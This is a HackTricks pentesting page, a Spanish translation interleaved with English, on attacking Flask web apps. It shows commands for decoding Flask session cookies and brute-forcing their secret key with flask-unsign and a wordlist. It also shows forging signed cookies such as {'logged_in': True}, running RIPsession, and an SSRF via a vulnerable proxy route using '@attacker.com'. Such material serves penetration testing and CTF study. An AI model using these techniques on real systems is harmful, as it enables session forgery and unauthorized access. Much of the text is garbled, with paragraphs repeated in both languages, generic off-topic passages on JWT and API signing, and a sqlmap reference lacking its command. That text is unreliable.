hacktricks/network-services-pentesting/pentesting-web/flask.md

14 KiB

Flask

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Usa Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Probablemente, si estás jugando un CTF, una aplicación Flask estará relacionada con SSTI.

Cookies

El nombre de sesión de la cookie por defecto es session.

Decodificador

Decodificador de cookies Flask en línea: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Obtén la primera parte de la cookie hasta el primer punto y decodifícala en Base64>

echo "ImhlbGxvIg" | base64 -d

La cookie también está firmada usando una contraseña

Flask-Unsign

Herramienta de línea de comandos para obtener, decodificar, realizar fuerza bruta y crear cookies de sesión de una aplicación Flask adivinando claves secretas.

{% embed url="https://pypi.org/project/flask-unsign/" %}

pip3 install flask-unsign

To decode a cookie, you can use various tools and techniques. One common method is to use a base64 decoder to convert the cookie value from base64 encoding to plain text. This can be done using online tools or programming libraries.

Here is an example of how to decode a cookie using Python and the Flask framework:

import base64

from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
    cookie_value = request.cookies.get('cookie_name')
    decoded_value = base64.b64decode(cookie_value).decode('utf-8')
    return f'Decoded cookie value: {decoded_value}'

if __name__ == '__main__':
    app.run()

In this example, we retrieve the value of the cookie named 'cookie_name' from the request object. We then use the base64.b64decode() function to decode the cookie value from base64 encoding. Finally, we decode the byte string to UTF-8 encoding using the decode() method.

Keep in mind that decoding a cookie does not necessarily mean you will be able to understand its contents. The decoded value may still be encrypted or encoded in a different format. It is important to analyze the decoded value further to determine its meaning and potential security implications.

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Fuerza Bruta

Brute force, also known as brute force attack, is a common hacking technique used to gain unauthorized access to a system or account. It involves systematically trying all possible combinations of passwords until the correct one is found.

Fuerza bruta, también conocida como ataque de fuerza bruta, es una técnica de hacking comúnmente utilizada para obtener acceso no autorizado a un sistema o cuenta. Consiste en probar sistemáticamente todas las posibles combinaciones de contraseñas hasta encontrar la correcta.

This technique can be used against web applications built with Flask. Attackers may attempt to brute force the login page by submitting multiple username and password combinations until they find the correct credentials.

Esta técnica puede ser utilizada contra aplicaciones web construidas con Flask. Los atacantes pueden intentar realizar un ataque de fuerza bruta en la página de inicio de sesión, enviando múltiples combinaciones de nombre de usuario y contraseña hasta encontrar las credenciales correctas.

To protect against brute force attacks, it is important to implement strong password policies, such as enforcing complex passwords and implementing account lockouts after a certain number of failed login attempts.

Para protegerse contra los ataques de fuerza bruta, es importante implementar políticas de contraseñas fuertes, como exigir contraseñas complejas e implementar bloqueos de cuenta después de un cierto número de intentos de inicio de sesión fallidos.

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Firma

Signing is a process used to verify the authenticity and integrity of data. In the context of web applications, signing is often used to ensure that data sent between the client and the server has not been tampered with.

La firma es un proceso utilizado para verificar la autenticidad e integridad de los datos. En el contexto de las aplicaciones web, la firma se utiliza a menudo para asegurarse de que los datos enviados entre el cliente y el servidor no han sido manipulados.

Signing Cookies

When using cookies to store session data, it is important to sign the cookies to prevent tampering. By signing the cookies, the server can verify that the data has not been modified by the client.

Al utilizar cookies para almacenar datos de sesión, es importante firmar las cookies para evitar manipulaciones. Al firmar las cookies, el servidor puede verificar que los datos no han sido modificados por el cliente.

Signing JSON Web Tokens (JWT)

JWTs are commonly used for authentication and authorization in web applications. To ensure the integrity of JWTs, they should be signed using a secret key. This allows the server to verify that the token has not been tampered with.

Los JWT se utilizan comúnmente para la autenticación y autorización en aplicaciones web. Para garantizar la integridad de los JWT, deben ser firmados utilizando una clave secreta. Esto permite al servidor verificar que el token no ha sido manipulado.

Signing API Requests

When making API requests, it is important to sign the requests to prevent tampering and ensure that they are coming from a trusted source. This can be done by including a signature in the request headers or body, which is generated using a secret key known only to the client and server.

Al realizar solicitudes de API, es importante firmar las solicitudes para evitar manipulaciones y asegurarse de que provienen de una fuente confiable. Esto se puede hacer incluyendo una firma en las cabeceras o el cuerpo de la solicitud, que se genera utilizando una clave secreta conocida solo por el cliente y el servidor.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Firma usando versiones antiguas (legacy)

When using Flask, it is important to be aware of the potential security risks associated with using legacy versions. Older versions of Flask may have vulnerabilities that can be exploited by attackers. Therefore, it is recommended to always use the latest stable version of Flask to ensure the best security.

Cuando se utiliza Flask, es importante tener en cuenta los posibles riesgos de seguridad asociados con el uso de versiones antiguas. Las versiones antiguas de Flask pueden tener vulnerabilidades que pueden ser explotadas por atacantes. Por lo tanto, se recomienda siempre utilizar la última versión estable de Flask para garantizar la mejor seguridad.

To sign data using legacy versions of Flask, you can use the itsdangerous library. This library provides a URLSafeSerializer class that can be used to sign and verify data.

Para firmar datos utilizando versiones antiguas de Flask, puedes utilizar la biblioteca itsdangerous. Esta biblioteca proporciona una clase URLSafeSerializer que se puede utilizar para firmar y verificar datos.

Here is an example of how to sign data using the URLSafeSerializer class:

Aquí tienes un ejemplo de cómo firmar datos utilizando la clase URLSafeSerializer:

from itsdangerous import URLSafeSerializer

# Create a serializer object with a secret key
serializer = URLSafeSerializer('your_secret_key')

# Sign the data
signed_data = serializer.dumps('your_data')

# Verify the signed data
verified_data = serializer.loads(signed_data)
from itsdangerous import URLSafeSerializer

# Crea un objeto serializador con una clave secreta
serializer = URLSafeSerializer('tu_clave_secreta')

# Firma los datos
signed_data = serializer.dumps('tus_datos')

# Verifica los datos firmados
verified_data = serializer.loads(signed_data)

In this example, the URLSafeSerializer is created with a secret key. The dumps() method is used to sign the data, and the loads() method is used to verify the signed data.

En este ejemplo, se crea el URLSafeSerializer con una clave secreta. El método dumps() se utiliza para firmar los datos y el método loads() se utiliza para verificar los datos firmados.

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Herramienta de línea de comandos para realizar ataques de fuerza bruta en sitios web utilizando cookies creadas con flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Este ejemplo utiliza la opción eval de sqlmap para firmar automáticamente los payloads de sqlmap para Flask utilizando un secreto conocido.

Proxy de Flask a SSRF

En este artículo se explica cómo Flask permite una solicitud que comienza con el carácter "@":

GET @/ HTTP/1.1
Host: target.com
Connection: close

Cuál de los siguientes escenarios:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Podría permitir introducir algo como "@attacker.com" para causar un SSRF.

Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥